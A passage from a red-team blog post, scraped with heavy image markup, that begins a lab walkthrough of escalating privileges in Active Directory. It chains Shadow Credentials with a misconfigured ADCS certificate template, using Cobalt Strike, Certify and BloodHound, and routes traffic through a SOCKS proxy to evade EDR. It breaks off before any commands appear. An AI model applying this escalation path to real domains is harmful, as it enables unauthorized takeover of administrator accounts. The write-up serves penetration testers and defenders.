11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>And we receive our third beacon, this one using the custom pipe name:</p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!ordA!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F174fcd1a-dcd2-4060-a019-a72a2c61d085_472x122.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!ordA!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F174fcd1a-dcd2-4060-a019-a72a2c61d085_472x122.png 424w, https://substackcdn.com/image/fetch/$s_!ordA!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F174fcd1a-dcd2-4060-a019-a72a2c61d085_472x122.png 848w, https://substackcdn.com/image/fetch/$s_!ordA!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F174fcd1a-dcd2-4060-a019-a72a2c61d085_472x122.png 1272w, https://substackcdn.com/image/fetch/$s_!ordA!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F174fcd1a-dcd2-4060-a019-a72a2c61d085_472x122.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!ordA!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F174fcd1a-dcd2-4060-a019-a72a2c61d085_472x122.png" width="472" height="122" data-attrs="{&quot;src&quot;:&quot;https://bucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com/public/images/174fcd1a-dcd2-4060-a019-a72a2c61d085_472x122.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:122,&quot;width&quot;:472,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:41634,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!ordA!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F174fcd1a-dcd2-4060-a019-a72a2c61d085_472x122.png 424w, https://substackcdn.com/image/fetch/$s_!ordA!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F174fcd1a-dcd2-4060-a019-a72a2c61d085_472x122.png 848w, https://substackcdn.com/image/fetch/$s_!ordA!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F174fcd1a-dcd2-4060-a019-a72a2c61d085_472x122.png 1272w, https://substackcdn.com/image/fetch/$s_!ordA!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F174fcd1a-dcd2-4060-a019-a72a2c61d085_472x122.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div>]]></content:encoded></item><item><title><![CDATA[PKINIT FTW - Chaining Shadow Credentials and ADCS Template Abuse]]></title><description><![CDATA[On a recent red team engagement, our team was tasked with focusing on Active Directory Certificate Services (ADCS) exploitation.]]></description><link>https://blog.tw1sm.io/p/pkinit-ftw-chaining-shadow-credentials</link><guid isPermaLink="false">https://blog.tw1sm.io/p/pkinit-ftw-chaining-shadow-credentials</guid><dc:creator><![CDATA[Matt Creel]]></dc:creator><pubDate>Wed, 08 Sep 2021 16:00:00 GMT</pubDate><enclosure url="https://substack-post-media.s3.amazonaws.com/public/images/2ab2155e-b59c-4fb0-81df-ae4b00ef128b_1080x500.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>On a recent red team engagement, our team was tasked with focusing on Active Directory Certificate Services (ADCS) exploitation. The objective was to identify certificate template misconfigurations and potentially achieve privilege escalation by abusing them. The concepts and attacks used were based around the work and <a href="https://web.archive.org/web/20210910135352/http://ttps//specterops.io/assets/resources/Certified_Pre-Owned.pdf">whitepaper</a> by Will Shroeder (<a href="https://web.archive.org/web/20210910135352/https://twitter.com/harmj0y">@harmj0y</a>) and Lee Christensen (<a href="https://web.archive.org/web/20210910135352/https://twitter.com/tifkin_">@tifkin_</a>).</p><p>While many organizations with ADCS implementations are uncovering extremely compromising misconfigurations as a result of the ADCS research, we did not find any certificate template configurations that offered instant privilege escalation opportunities. In other words, the Domain Users group and other low-privilege, high-member groups were not granted enrollment rights to any certificates. Upon deeper examination, we did identify several certificates that appeared to open the door to privilege escalation through the ENROLLEE_SUPPLIES_SUBJECT flag.</p><p>However, compromising an account with enrollment rights to one of these certificates was going to require serious account compromise efforts by our offensive team.</p><p>Eventually, compromise of a mid-tier administrative account allowed us to incorporate the Shadow Credentials attack, described by Elad Shamir (<a href="https://web.archive.org/web/20210910135352/https://twitter.com/elad_shamir">@elad_shamir</a>), to aid in completion of privilege escalation through a vulnerable certificate template. I have set-up my lab environment in a very similar configuration to showcase the combined capabilities of several recently released tools, all of which relate to PKINIT authentication.</p><h2>Scenario</h2><p>I have a Cobalt Strike beacon running as a standard user on a Windows 10 box in the lab environment:</p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!enx5!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F191b994a-5b79-4762-b291-6d1c98ea50be_300x111.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!enx5!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F191b994a-5b79-4762-b291-6d1c98ea50be_300x111.png 424w, https://substackcdn.com/image/fetch/$s_!enx5!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F191b994a-5b79-4762-b291-6d1c98ea50be_300x111.png 848w, https://substackcdn.com/image/fetch/$s_!enx5!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F191b994a-5b79-4762-b291-6d1c98ea50be_300x111.png 1272w, https://substackcdn.com/image/fetch/$s_!enx5!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F191b994a-5b79-4762-b291-6d1c98ea50be_300x111.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!enx5!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F191b994a-5b79-4762-b291-6d1c98ea50be_300x111.png" width="300" height="111" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/191b994a-5b79-4762-b291-6d1c98ea50be_300x111.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:111,&quot;width&quot;:300,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:22475,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:true,&quot;internalRedirect&quot;:&quot;https://blog.tw1sm.io/i/181525091?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F191b994a-5b79-4762-b291-6d1c98ea50be_300x111.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!enx5!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F191b994a-5b79-4762-b291-6d1c98ea50be_300x111.png 424w, https://substackcdn.com/image/fetch/$s_!enx5!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F191b994a-5b79-4762-b291-6d1c98ea50be_300x111.png 848w, https://substackcdn.com/image/fetch/$s_!enx5!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F191b994a-5b79-4762-b291-6d1c98ea50be_300x111.png 1272w, https://substackcdn.com/image/fetch/$s_!enx5!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F191b994a-5b79-4762-b291-6d1c98ea50be_300x111.png 1456w" sizes="100vw" fetchpriority="high"></picture><div></div></div></a></figure></div><p>We can perform an initial check for vulnerable templates with <a href="https://web.archive.org/web/20210910135352/https://github.com/GhostPack/Certify">Certify</a> from beacon. Ultimately, no vulnerable certificates are found &#8211; the one vulnerable template, VULN, is not published by the CA.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!5gXc!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F38b3a35c-30dc-4b86-bc13-107cf9221b6f_2432x1660.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!5gXc!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F38b3a35c-30dc-4b86-bc13-107cf9221b6f_2432x1660.png 424w, https://substackcdn.com/image/fetch/$s_!5gXc!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F38b3a35c-30dc-4b86-bc13-107cf9221b6f_2432x1660.png 848w, https://substackcdn.com/image/fetch/$s_!5gXc!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F38b3a35c-30dc-4b86-bc13-107cf9221b6f_2432x1660.png 1272w, https://substackcdn.com/image/fetch/$s_!5gXc!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F38b3a35c-30dc-4b86-bc13-107cf9221b6f_2432x1660.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!5gXc!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F38b3a35c-30dc-4b86-bc13-107cf9221b6f_2432x1660.png" width="1456" height="994" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/38b3a35c-30dc-4b86-bc13-107cf9221b6f_2432x1660.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:994,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!5gXc!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F38b3a35c-30dc-4b86-bc13-107cf9221b6f_2432x1660.png 424w, https://substackcdn.com/image/fetch/$s_!5gXc!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F38b3a35c-30dc-4b86-bc13-107cf9221b6f_2432x1660.png 848w, https://substackcdn.com/image/fetch/$s_!5gXc!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F38b3a35c-30dc-4b86-bc13-107cf9221b6f_2432x1660.png 1272w, https://substackcdn.com/image/fetch/$s_!5gXc!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F38b3a35c-30dc-4b86-bc13-107cf9221b6f_2432x1660.png 1456w" sizes="100vw"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>Let&#8217;s gather information on all the published templates. To do this, we can simply remove the /vulnerable flag from the previous certify command.</p><p>One particular certificate template stands out. Three (3) attributes that make this template interesting:</p><ol><li><p>The ENROLLEE_SUPPLIES_SUBJECT flag is present. This allows the enrollee to specify a subject alternative name (SAN), essentially allowing a certificate to be requested for another user.</p></li><li><p>Authentication is enabled via the CLIENT AUTHENTICATION extended key usage (EKU).</p></li><li><p>Enrollment rights contains the normal domain/enterprise admins, but also an additional group, REDANIA\TIER 1 ADMINS.</p></li></ol><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!ILlw!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffe510544-480c-4988-b9da-2ee288994818_796x328.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!ILlw!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffe510544-480c-4988-b9da-2ee288994818_796x328.png 424w, https://substackcdn.com/image/fetch/$s_!ILlw!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffe510544-480c-4988-b9da-2ee288994818_796x328.png 848w, https://substackcdn.com/image/fetch/$s_!ILlw!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffe510544-480c-4988-b9da-2ee288994818_796x328.png 1272w, https://substackcdn.com/image/fetch/$s_!ILlw!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffe510544-480c-4988-b9da-2ee288994818_796x328.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!ILlw!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffe510544-480c-4988-b9da-2ee288994818_796x328.png" width="796" height="328" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/fe510544-480c-4988-b9da-2ee288994818_796x328.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:328,&quot;width&quot;:796,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!ILlw!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffe510544-480c-4988-b9da-2ee288994818_796x328.png 424w, https://substackcdn.com/image/fetch/$s_!ILlw!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffe510544-480c-4988-b9da-2ee288994818_796x328.png 848w, https://substackcdn.com/image/fetch/$s_!ILlw!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffe510544-480c-4988-b9da-2ee288994818_796x328.png 1272w, https://substackcdn.com/image/fetch/$s_!ILlw!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffe510544-480c-4988-b9da-2ee288994818_796x328.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>Compromise of an account belonging to the Tier 1 Admins group could allow us to request this certificate for an arbitrary user, including a domain admin. Checking BloodHound for group members shows two targets:</p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!BkUq!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7610ed2a-911d-4907-821e-88b7d95e571b_592x154.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!BkUq!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7610ed2a-911d-4907-821e-88b7d95e571b_592x154.png 424w, https://substackcdn.com/image/fetch/$s_!BkUq!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7610ed2a-911d-4907-821e-88b7d95e571b_592x154.png 848w, https://substackcdn.com/image/fetch/$s_!BkUq!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7610ed2a-911d-4907-821e-88b7d95e571b_592x154.png 1272w, https://substackcdn.com/image/fetch/$s_!BkUq!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7610ed2a-911d-4907-821e-88b7d95e571b_592x154.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!BkUq!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7610ed2a-911d-4907-821e-88b7d95e571b_592x154.png" width="592" height="154" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/7610ed2a-911d-4907-821e-88b7d95e571b_592x154.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:154,&quot;width&quot;:592,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!BkUq!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7610ed2a-911d-4907-821e-88b7d95e571b_592x154.png 424w, https://substackcdn.com/image/fetch/$s_!BkUq!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7610ed2a-911d-4907-821e-88b7d95e571b_592x154.png 848w, https://substackcdn.com/image/fetch/$s_!BkUq!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7610ed2a-911d-4907-821e-88b7d95e571b_592x154.png 1272w, https://substackcdn.com/image/fetch/$s_!BkUq!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7610ed2a-911d-4907-821e-88b7d95e571b_592x154.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><p>Both of these accounts are solely members of the Domain Users and Tier 1 Admins groups. In theory, these accounts are significantly privileged, but not as privileged as Domain Admins. Using BloodHound again, we can do some pathfinding to see if we have any ways to compromise one of these accounts. Similar to our position during the real engagement, assume we have already used our initial access to compromise Kerberos ticket-granting-tickets (TGTs) for a handful of users, including REDANIA\philippa:</p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!moSo!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa21775db-4c03-4f79-ba1f-b9b0eed6a458_724x220.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!moSo!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa21775db-4c03-4f79-ba1f-b9b0eed6a458_724x220.png 424w, https://substackcdn.com/image/fetch/$s_!moSo!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa21775db-4c03-4f79-ba1f-b9b0eed6a458_724x220.png 848w, https://substackcdn.com/image/fetch/$s_!moSo!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa21775db-4c03-4f79-ba1f-b9b0eed6a458_724x220.png 1272w, https://substackcdn.com/image/fetch/$s_!moSo!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa21775db-4c03-4f79-ba1f-b9b0eed6a458_724x220.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!moSo!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa21775db-4c03-4f79-ba1f-b9b0eed6a458_724x220.png" width="724" height="220" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/a21775db-4c03-4f79-ba1f-b9b0eed6a458_724x220.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:220,&quot;width&quot;:724,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!moSo!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa21775db-4c03-4f79-ba1f-b9b0eed6a458_724x220.png 424w, https://substackcdn.com/image/fetch/$s_!moSo!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa21775db-4c03-4f79-ba1f-b9b0eed6a458_724x220.png 848w, https://substackcdn.com/image/fetch/$s_!moSo!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa21775db-4c03-4f79-ba1f-b9b0eed6a458_724x220.png 1272w, https://substackcdn.com/image/fetch/$s_!moSo!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa21775db-4c03-4f79-ba1f-b9b0eed6a458_724x220.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><p>Seeing that we have control over an account with GenericAll permissions over one of our targets through the Tier 2 Admins group, we can lay out our plan. Everything below will be performed using beacon&#8217;s SOCKS proxy feature to help limit EDR insight into our actions.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" 